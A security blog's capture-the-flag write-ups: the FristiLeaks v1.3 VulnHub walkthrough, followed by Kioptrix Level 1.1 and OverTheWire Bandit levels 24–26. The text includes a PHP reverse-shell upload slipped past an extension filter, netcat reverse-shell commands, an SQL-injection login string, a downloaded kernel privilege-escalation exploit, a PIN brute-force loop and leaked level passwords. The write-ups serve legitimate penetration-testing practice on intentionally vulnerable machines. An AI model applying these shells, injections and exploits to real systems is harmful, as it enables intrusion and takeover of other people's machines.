Write-up for FristiLeaks v1.3 [VulnHub]

To celebrate the end of 2017, I have decided to do a write-up on a VulnHub virtual machine (VM) like what I did for the Writeup for the Kioptrix series.

It has proved to be an effective exercise because apart from improving my writing and explanation skills, I also get to refresh the technical skills and techniques which I learnt previously while studying for my OSCP certification exams. Do read my OSCP/PWK course review if you are intending to take your OSCP certification exams in 2018!

Practice makes perfect
Practice makes perfect

As mentioned previously during my very first VulnHub write-up, the VMs on VulnHub were designed to be vulnerable, specifically created for security researchers or any security enthusiasts to conduct security testing on them. It is a good way to test your technical skills from identifying vulnerabilities when you encounter one, to crafting your own exploits or getting publicly available Proof of Concept (POC) to work.

Setting up

In this write-up, we will be working on the FristiLeaks v1.3. Before we get started, let’s manually modify the VM’s MAC address to 08:00:27:A5:A6:76 as per instructed by the author.

Steps for VMware Workstation users to modify MAC Address
Instructions for VMware Workstation users to modify MAC Address
Written instructions for VMware Workstation users:
  1. Import the OVA
  2. Click on Edit virtual machine settings
  3. Under Hardware tab, click on Network Adapter
  4. On the right section of the window, click on Advanced
  5. In the pop-out window, insert the MAC address which the VM creator has instructed.

That’s it, now you can launch the VM.

FristiLeaks v1.3
FristiLeaks v1.3

Please note that for the sake of writing this article, I have changed my VM’s Network Adapter settings to NAT instead of the default “Bridged“, but there should be no difference for you to keep up with the write-up.

Host discovery

netdiscover -r


Looks like our target has been found to be hosted on Do you find the MAC address familiar in some ways? 08:00:27:a5:a6:76      1      60  PCS Systemtechnik GmbH

Service Discovery 

nmap -sS -Pn -T4 -p-

Starting Nmap 7.50 ( https://nmap.org ) at 2017-12-16 22:59 +08
Nmap scan report for
Host is up (0.00038s latency).
Not shown: 65534 filtered ports
80/tcp open  http
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)


Enumeration – port 80

Interesting, there is only 1 open port.  Let’s scan the port 80 specifically using scripts:

nmap -A -O -p80

Starting Nmap 7.50 ( https://nmap.org ) at 2017-12-16 23:21 +08
Nmap scan report for
Host is up (0.00029s latency).

80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
| http-methods:
|_  Potentially risky methods: TRACE
| http-robots.txt: 3 disallowed entries
|_/cola /sisi /beer
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)


Now let’s manually check the web server running on port 80:


For the sake of clarity, you may also want to verify the robots.txt disallowed entries that were identified by nmap. But trust me, nmap’s script is pretty accurate. 🙂


At this point, my thought was — if this is the entry to gain access to the system, then this machine might be a little too simple. It cannot be so simple.


As expected!! All the 3 entries have brought us to the above meme.

Since all the 3 entries were deadends, let’s run our directory buster.


---- Scanning URL: ----
+ (CODE:403|SIZE:210)                                 
+ (CODE:200|SIZE:703)                               
+ (CODE:200|SIZE:62)                                
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

Nothing interesting found except for the directory listing of images:


Only 2 images. Now, on second thoughts, the pink colour keep-calm image seems to be a hint, since it says,


There were pages for Cola, Sisi and Beer. What about Fristi, since it is also a form of drinking beverage?

Let’s visit


Wow. Just, wow. It’s actually there. There is this hidden admin portal with a very badly designed login form which has auto-complete feature being enabled in both input fields. (yeah, including the password).


And there is this guy in the image that is going “Ha Ha” …

Moving on, let’s run the directory buster again.


---- Scanning URL: ----
+ (CODE:200|SIZE:134605)                      
==> DIRECTORY:                                                                                      

---- Entering directory: ----
+ (CODE:200|SIZE:4)  

We found something! BUT it looks like kind of a dead-end… at least for now.


Since there is nothing else here, let’s go back and view the page source of the login page.

As my colleague, Sven, has always told me when we are working on a project — always view the page source, never trust the rendered output.

It’s very well said, as I have found several vulnerabilities on web applications that messed up because some developers did not expect their users to either view the page source on their web browser (e.g. Firefox users can right-click, view page source) or view the HTTP responses directly on a HTTP proxy server.

Back to the write-up — indeed, the page source has several interesting stuff. For example, the meta description content is hilarious:

super leet password login-test page. We use base64 encoding for images so they are inline in the HTML. I read somewhere on the web, that thats a good way to do it.

Also, the TODO comments are very interesting as well:


There are two things that I can infer from reading this TODO list: There are two things that I could infer from reading this TODO list:

  1. “eezeepz” is the name of the developer who created this application.
  2. He is the type who write notes within the application. Assuming he uses “eezeepz” as his username, what could the password be?

Going further down the page source, we can see that there is another chunk of base64 encoded content that was commented.


Well, what could it be? 🙂

To decode the base64 encoded content, I used nano to make the content into a single line. It can be any other tools that you like – I need it to be a single line so I can conveniently use my terminal to run a command to decode it.

base64 -d /tmp/encoded.txt


Wow. Apparently, it is a PNG image file, as you can see in the very first line of characters. Seems like it somehow links back to the meta description content of “using base64 encoding for images”.

First, we save it as a PNG file.

base64 -d /tmp/encoded.txt > decoded.png

Next, we render it and see what is in the image. Again, you can use any tools to do this. For me, I like to use feh.

feh decoded.png


Interesting… for some reason, the only correlation of things that I can use for this set of characters is probably someone’s password…

Let’s try the following credentials on the login form:


Bingo!! Finally some progress!


Looks like the only available function is the upload file feature. Now what? let’s conveniently upload a PHP reverse shell!

Gaining Low Privilege Access Shell

Simply modify and use the one from kali. If you are not using kali, you can download the reverse shell source code here, created by pentestmonkey.

cp /usr/share/webshells/php/php-reverse-shell.php reverse-shell.php
vi reverse-shell.php

Make the necessary changes to insert your own local IP address and listening port.


Now setup a netcat listener to catch the connection.

nc -nlvp 8888


Bad news! Only png, jpg, gif are allowed.


Looks like things are not so easy after all.

There are many ways to configure a file upload function. Developers should consider many different things. For instance, to prevent directory traversal, they should use base() or rename the file completely (use microtime() and some random numbers). Also, check the file type and size if there is any limitation to be enforced.

The question now is, did the developer of this application implemented the file upload functionality correctly? Or is it only validating the file extension? What if I just add the .jpg extension to the php file, will it be able to bypass the validation filters?

cp reverse-shell.php reverse-shell.php.jpg

Since this is a VulnHub VM, there is no harm in trying things out! We all learn.


Surprisingly (or maybe as expected), IT WORKS!!


As hinted by the output, now is the time to go back to the “dead-end” that we have identified previously and walk the newly discovered path.

Render the following URL in your web browser:

After rendering the page, a reverse shell has been established on your local machine!

root@kali:/tmp# nc -nlvp 8888
listening on [any] 8888 ...
connect to [] from (UNKNOWN) [] 41116
Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
20:59:09 up 3:45, 0 users, load average: 0.00, 0.00, 0.00
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell

Now you have a low privileged shell as user apache.


Privilege Escalation

As expected of a PHP reverse shell, the display is bad. It will repeat the characters, so the commands in screenshots from this point onwards may not be as accurate as it should be, but I will write the same command in the write-up, so don’t worry about it yeah.


Now, let us perform privilege escalation. I will not write too much about the methodology and concepts of privilege escalation in this post, as I will be digressing too much. Let us go straight into finding the interesting information on this machine!

The first thing you need to know is the environment that you are in.

Run your favourite enumeration scripts, or you can do it manually based on this guide written by g0tmi1k. It has been super useful during my journey towards obtaining OSCP certification.

Kernel information:
Linux version 2.6.32-573.8.1.el6.x86_64 (mockbuild@c6b8.bsys.dev.centos.org) (gcc version 4.4.7 20120313 (Red Hat 4.4.7-16) (GCC) ) #1 SMP Tue Nov 10 18:01:38 UTC 2015

Specific release information:
CentOS release 6.7 (Final)

Interesting system users:

Permissions in /home directory:
drwxr-xr-x. 5 root root 4.0K Nov 19 2015 .
dr-xr-xr-x. 22 root root 4.0K Dec 16 17:13 ..
drwx------. 2 admin admin 4.0K Nov 19 2015 admin
drwx---r-x. 5 eezeepz eezeepz 12K Nov 18 2015 eezeepz
drwx------ 2 fristigod fristigod 4.0K Nov 19 2015 fristigod

Network information 
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name 
tcp 0 0* LISTEN - 
tcp 0 0 ESTABLISHED 3001/sh 
tcp 0 0 :::80 :::* LISTEN - 
tcp 0 0 ::ffff: ::ffff: ESTABLISHED -

Software versions
Sudo version:
Sudo version 1.8.6p3

MYSQL version:
mysql Ver 14.14 Distrib 5.1.73, for redhat-linux-gnu (x86_64) using readline 5.1

Apache version:
Server version: Apache/2.2.15 (Unix)
Server built: Aug 24 2015 17:52:49

In the above information, in your opinion, which is the most interesting ones?

For me, I would like to check the user directory:

cd /home
ls *


Notice anything interesting in the output?




Yes, you are probably right — let’s check out the text file at /home/eezeepz/notes.txt

cat /home/eezeepz/notes.txt

Yo EZ,

I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.
- Jerry


Nice. Now we know that Jerry has put some of the useful binary files in his directory at /home/admin, and we can execute those binaries under his (root) privilege by creating a file called “runthis” in the /tmp/ directory.

Let’s try if we can spawn a reverse shell with root privilege using this cron job!

Set up a listener just like before and create the “runthis” file.


It did not work.

Every minute, the cron job will execute the commands in runthis and update the cronresults file located within /tmp/ directory.

The current results are the following:

command did not start with /home/admin or /usr/bin

As such, it is not possible to directly spawn a reverse shell like that. We need to do it using another method.

Just to test it out, let’s try running the following command to verify that the cronjob is working fine:

/home/admin/chmod 777 /home/admin


So apparently, it works!

total 20
drwxrwxrwx. 2 admin admin 4096 Nov 19 2015 admin
drwx---r-x. 5 eezeepz eezeepz 12288 Nov 18 2015 eezeepz
drwx------ 2 fristigod fristigod 4096 Nov 19 2015 fristigod

Awesome! Now we can read the content in the /home/admin directory.

bash-4.1$ ls -l

total 632
-rwxr-xr-x 1 admin admin 45224 Nov 18 2015 cat
-rwxr-xr-x 1 admin admin 48712 Nov 18 2015 chmod
-rw-r--r-- 1 admin admin 737 Nov 18 2015 cronjob.py
-rw-r--r-- 1 admin admin 21 Nov 18 2015 cryptedpass.txt
-rw-r--r-- 1 admin admin 258 Nov 18 2015 cryptpass.py
-rwxr-xr-x 1 admin admin 90544 Nov 18 2015 df
-rwxr-xr-x 1 admin admin 24136 Nov 18 2015 echo
-rwxr-xr-x 1 admin admin 163600 Nov 18 2015 egrep
-rwxr-xr-x 1 admin admin 163600 Nov 18 2015 grep
-rwxr-xr-x 1 admin admin 85304 Nov 18 2015 ps
-rw-r--r-- 1 fristigod fristigod 25 Nov 19 2015 whoisyourgodnow.txt

Here are some interesting files that can be identified in the /home/admin directory:

  1. cryptpass.py
  2. cryptedpass.txt
  3. whoisyourgodnow.txt

First, the content of cryptpass.py:

bash-4.1$ cat cryptpass.py

#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
base64string= base64.b64encode(str)
return codecs.encode(base64string[::-1], 'rot13')

print cryptoResult

Next, the content of cryptedpass.txt:

bash-4.1$ cat cryptedpass.txt

Lastly, the content of whoisyourgodnow.txt:

bash-4.1$ cat whoisyourgodnow.txt

It is not difficult to guess that the python script was used to produce the content in cryptedpass.txt and most likely also the whoisyourgodnow.txt.

Based on the source code of cryptpass.py, I wrote a decode function to do the reverse of cryptpass.py, let’s call it decryptpass.py and here’s the full source code:

By the way, I wrote the script locally before transferring it over using wget. Please feel free to write it directly on the machine to your liking!

After executing the commands, you will get 2 sets of passwords for each of the “encrypted” text from before.

  1. mVGZ3O3omkJLmy2pcuTq becomes thisisalsopw123
  2. =RFn0AKnlMHMPIzpyuTI0ITG becomes LetThereBeFristi!


I am very sure that LetThereBeFristi! is the password for user “fristigod”.

Let’s continue our privilege escalation, this time to “fristigod” since it is the only folder within the /home directory that we do not currently have any access to until now.

Something inside there might give us root access.

Run the following command to switch user to fristigod:

su - fristigod

standard in must be a tty

This happens because this is not a full shell. To resolve this issue, simply spawn a tty yourself (straightforward enough).

python -c 'import pty;pty.spawn("/bin/bash")'
su - fristigod

Password: LetThereBeFristi!

uid=502(fristigod) gid=502(fristigod) groups=502(fristigod)

Nice, we are now user “fristigod”!

Once again, check our home directory:


ls -la

total 16
drwxr-x--- 3 fristigod fristigod 4096 Nov 25 2015 .
drwxr-xr-x. 19 root root 4096 Nov 19 2015 ..
-rw------- 1 fristigod fristigod 864 Nov 25 2015 .bash_history
drwxrwxr-x. 2 fristigod fristigod 4096 Nov 25 2015 .secret_admin_stuff

Noticed something interesting?

There is a directory named .secret_admin_stuff

cd .secret_admin_stuff
ls -la

total 16
drwxrwxr-x. 2 fristigod fristigod 4096 Nov 25 2015 .
drwxr-x--- 3 fristigod fristigod 4096 Nov 25 2015 ..
-rwsr-sr-x 1 root root 7529 Nov 25 2015 doCom


Nice try, but wrong user ;)

As kindly hinted by the error message, I might be using the binary file in a wrong way.

Let’s try to find out more about the usage of this doCom, as this is most likely the gateway to make us root. It can already run programs as root (see its permissions!).

Reviewing the /var/fristigod/.bash_history file to find clues on how to use the doCom file.

cat .bash_history

ls -lah
cd .secret_admin_stuff/
./doCom test
sudo ls
cd .secret_admin_stuff/
sudo -u fristi ./doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo /var/fristigod/.secret_admin_stuff/doCom
sudo /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
ls -lah
usermod -G fristigod fristi
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
less /var/log/secure e

Did you notice that the “fristigod” user is always running the following sudo command?

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom

Seems like we have to run that same command as well, before we can attempt to execute any other commands.

To verify this, simply run the following command:

sudo -l

User fristigod may run the following commands on this host:
(fristi : ALL) /var/fristigod/.secret_admin_stuff/doCom

Looks like we are right. 🙂


Let’s try it out:

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id

uid=0(root) gid=100(users) groups=100(users),502(fristigod)

Wow, that was amazing. So, what else can I run?

If I can run the id command like above, can I directly spawn myself a shell?

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

uid=0(root) gid=100(users) groups=100(users),502(fristigod)

Perfect! Now we can go to the /root directory to check out the flag 🙂

cd /root
ls -la

-rw-------. 1 root root 246 Nov 17 2015 fristileaks_secrets.txt

Ain’t you excited? 🙂

cat fristileaks_secrets.txt

Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)

Flag: Y0u_kn0w_y0u_l0ve_fr1st1

That’s it! Congratulations, you have completed the FristiLeaks v1.3 VulnHub VM!


Thanks for following my write-up, I hope that it has been useful to you and helped you learn something new — be it the thought process or the approach towards hacking a box like this.

Also, I would say that this a very good practice machine for folks who intended to take up the OSCP certification. If you are still on the verge of deciding, check out my OSCP/PWK course review, it might be helpful to you. 😉

Lastly, thanks Ar0xA for creating this VM, it was fun! Also thanks VulnHub for providing a platform for people to create and upload such CTF alike practice VMs for the community.

If you like this write-up, do also check out my other write-ups on the Kioptrix series as well.


Write-up for Kioptrix Virtual Machines from Vulnhub


I have finally completed the writeup of all 5 Kioptrix Virtual Machines (VMs) from Vulnhub.com, I hope they are helpful to you.

While they are being categorised as “beginner” level challenges, I find them pretty challenging and definitely an effective training for me. I learnt many things through working on these VMs.

For your convenience, the following are the 5 writeups on Kioptrix machines,


Write-up for Kioptrix: Level 1.1 (#2)

This is a continuation from the Kioptrix Virtual Machines (VM) on VulnHub.

Click to view Writeup for Kioptrix level 1 (#1) VM.


Let’s get started!

Scan the network using nmap to discover hosts
> nmap -sS -T5

Nmap scan report for

Host is up (0.00018s latency).

Not shown: 994 closed ports


22/tcp   open  ssh

80/tcp   open  http

111/tcp  open  rpcbind

443/tcp  open  https

631/tcp  open  ipp

3306/tcp open  mysql

MAC Address: 00:0C:29:A1:02:89 (VMware)

Navigate to the website using a browser (port 80) 


Wow, there is a login page. Let’s test for SQL Injection vulnerability

Enter the following input as the username (take note of the space behind):

‘ or 1=1 — 

And we are in!

lvl-2-002pngNow let’s try the options and see if they works.


Well, it works!

Setup netcat listener on your machine, port 6666
> nc -lvp 6666


Perform netcat connectivity on target machine and spawn a reverse shell (refer to above image); /usr/local/bin/nc 6666 -e /bin/sh

Observe the terminal which you are running the netcat listener

root@kali:~/Desktop/kioptrix# nc -lvp 6666
listening on [any] 6666 … inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 32771
uid=48(apache) gid=48(apache) groups=48(apache)

Now you have a shell as user apache.

Check systme kernel version
> uname -a

Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux

Google for vulnerability on “Linux kernel 2.6.9-55”

Check out : CVE-2009-2698, Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) – ‘ip_append_data()’ Ring0 Privilege Escalation (1)

Download the exploit code to your machine
> cd /tmp
> wget ‘https://www.exploit-db.com/download/9542&#8217;

Transfer the exploit code to the target machine
> service apache2 start
> cd /var/www/html/
> mv ~/Desktop/kioptrix/9542.c .

Download the file from target machine
> wget ‘;

=> `9542.c’
Connecting to… connected.
HTTP request sent, awaiting response… 200 OK
Length: 2,645 (2.6K) [text/x-csrc]

0K .. 100% 280.27 MB/s

23:44:28 (280.27 MB/s) – `9542.c’ saved [2645/2645]

The download is a successful.

Compile your exploit on target machine
> gcc 9542.c
> ls


Run your exploit to get root
> ./a.out

sh: no job control in this shell
sh-3.00# id
uid=0(root) gid=0(root) groups=48(apache)

Congrats, you have gotten root.


OverTheWire: Bandit Level 25 to Level 26

Level goal: Logging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not /bin/bash, but something else. Find out what it is, how it works and how to break out of it.

Indeed, logging in is easy, simply run the usual command which allow you to login using SSH key instead of login credentials

ssh -i bandit26.sshkey bandit26@localhost


However, after you logged into bandit26, you will be logged out immediately, “Connection to localhost closed.”

As hinted by the question, let’s take a look at the bash used by bandit26,

bandit25@melinda:~$ cat /etc/passwd | grep bandit26
 bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext

Instead of /bin/bash, bandit26 is using /usr/bin/showtext, which is apparently not a shell. Let’s look at the content of the file

bandit25@melinda:~$ cat /usr/bin/showtext
 more ~/text.txt
 exit 0

The way to obtain the password for this level is extremely creative, I salute the team who designed this portion of the challenge, it’s really good.

As we know, we will be logged out immediately after we gain access to the server using the SSH key. The way to get the level 27 password is to gain access to the file before your shell gets terminated.

Think about it, how can that be possibly done? The hint is that you are able to “log in” to the system, just that when it spawns a shell, it terminates the shell immediately – the exact code is “exit 0” as we have see in the showtext “shell”.

Here’s the solution:

First, minimize your terminal so that when you are logged into bandit26 via ssh command, the large “bandit26” ASCII art banner will force a “more” message to prompt you to continue the output. You may refer to the screenshot as an illustraton of how I have minimized my terminal,


ssh -i bandit26.sshkey -t bandit26@localhost cat text.txt


Now that you have forces the terminal to prompt you to continue the display via “more” or “–More–(50%)” in this case, press “v” to enter “vim”, a built-in text editor on Unix machines. You will see the output as per below,


Now, press “:e /etc/bandit_pass/bandit26” to edit the password file of bandit26.


There you go, you have the password to proceed to level 27!!

Let’s review what we have done. We have forces the terminal to display a “more” output, where we can open a VIM text editor and open the password file of bandit26 using the file opening command within the VIM text editor. We are able to open this password file containing the bandit26 password because we have logged into the bandit26 account and this is right before the “exit 0” portion of the code boot us out from the machine.

The password to gain access to the next level is 5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z. However, level 27 is not up yet, therefore level 26 is the final bandit challenge as of now.


OverTheWire: Bandit Level 24 to Level 25

Level goal: A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.


The following is my script to perform this brute-forcing techqnies,




while [ $pin -lt 10000 ]; do

echo “Attempting PIN: $pin”

attempt=”$(echo $pass24 $pin | nc localhost 30002)”

if ! [[ $attempt == *”Wrong!”* ]]; then

echo -ne “$attempt”





The script will iterate through each possible PIN to perform brute forcing in identifying the secret pincode of bandit25.


The password to gain access to the next level is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG.